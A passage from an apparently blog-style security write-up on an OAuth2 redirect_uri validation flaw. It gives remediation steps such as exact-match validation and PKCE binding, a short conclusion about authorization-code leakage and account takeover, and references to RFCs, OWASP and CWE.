adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">Invalidate all authorization codes</strong>&nbsp;issued to unregistered or unsafe redirect URIs.</li> <li id="7ffb" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">Audit OAuth logs</strong>&nbsp;for unusual authorization flows or non-whitelisted redirect URIs.</li> <li id="fe58" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">Bind PKCE (Proof Key for Code Exchange) code challenge to redirect_uri</strong>&nbsp;at authorization-code issuance time.</li> <li id="e469" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">Implement exact-match validation</strong>&nbsp;as required by RFC 6749 Section 3.1.2.</li> <li id="91b5" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">Add monitoring &amp; alerts</strong>&nbsp;for suspicious OAuth authorization requests.</li> <li id="f8d4" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">Review all OAuth clients</strong>&nbsp;for misconfigured or overly permissive redirect URIs.</li> <li id="5d71" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">Adopt OAuth 2.1 best practices</strong>, including mandatory PKCE for all clients.</li> </ul> <h3 id="257a" class="afa afb yk z afc afd afe aff nw afg afh afi of aec afj afk afl aeg afm afn afo aek afp afq afr afs cc" data-selectable-paragraph=""><strong class="ax">Conclusion:</strong></h3> <p id="b2ef" class="pw-post-body-paragraph adr ads yk adt b adu aft adw adx ady afu aea aeb aec afv aee aef aeg afw aei aej aek afx aem aen aeo ml cc" data-selectable-paragraph="">This vulnerability stemmed from the absence of strict validation on the&nbsp;<code class="cx agi agj agk agl b">redirect_uri</code>&nbsp;parameter in the OAuth2 authorization flow. As a result, an attacker could redirect authorization codes to an external domain, leading to code leakage and potential full account takeover. This issue breaks a core OAuth security assumption and represents a critical misconfiguration in the authentication process.</p> <h3 id="1835" class="afa afb yk z afc afd afe aff nw afg afh afi of aec afj afk afl aeg afm afn afo aek afp afq afr afs cc" data-selectable-paragraph=""><strong class="ax">References:</strong></h3> <ul class=""> <li id="ed92" class="adr ads yk adt b adu aft adw adx ady afu aea aeb aec afv aee aef aeg afw aei aej aek afx aem aen aeo ahd agw agx cc" data-selectable-paragraph="">RFC 6749 &mdash; The OAuth 2.0 Authorization Framework (Section 3.1.2: Redirect URI validation)<a class="as kf" href="https://datatracker.ietf.org/doc/html/rfc6749#section-3.1.2" target="_blank" rel="noopener ugc nofollow">https://datatracker.ietf.org/doc/html/rfc6749#section-3.1.2</a></li> <li id="a0ba" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph="">RFC 7636 &mdash; Proof Key for Code Exchange (PKCE)<a class="as kf" href="https://datatracker.ietf.org/doc/html/rfc7636" target="_blank" rel="noopener ugc nofollow">https://datatracker.ietf.org/doc/html/rfc7636</a></li> <li id="723b" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph="">OWASP OAuth 2.0 Security Cheat Sheet<a class="as kf" href="https://cheatsheetseries.owasp.org/cheatsheets/OAuth2_Cheat_Sheet.html" target="_blank" rel="noopener ugc nofollow">https://cheatsheetseries.owasp.org/cheatsheets/OAuth2_Cheat_Sheet.html</a></li> <li id="155c" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph="">CWE-601: URL Redirection to Untrusted Site&nbsp;<a class="as kf" href="https://cwe.mitre.org/data/definitions/601.html" target="_blank" rel="noopener ugc nofollow">https://cwe.mitre.org/data/definitions/601.html</a></li> <li id="b176" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph="">CWE-200: Exposure of Sensitive Information<a class="as kf" href="https://cwe.mitre.org/data/definitions/200.html" target="_blank" rel="noopener ugc nofollow">https://cwe.mitre.org/data/definitions/200.html</a></li> </ul>

Publié 14 août, 2026

sambatl988

Red Team Analyst | VAPT | Cloud Security| AI

I am a dedicated cybersecurity professional and Red Team Operator specializing in authorized offensive operations, vulnerability assessment, and defensive evaluation. Combining rigorous academic training in Information Technology with hands-on technical experience, I help organizations identify, understand, and mitigate real-world security risks across their people, processes, and technology.Guide...

Article suivant

7 Essential Elements of a Professional Residential Floor Plan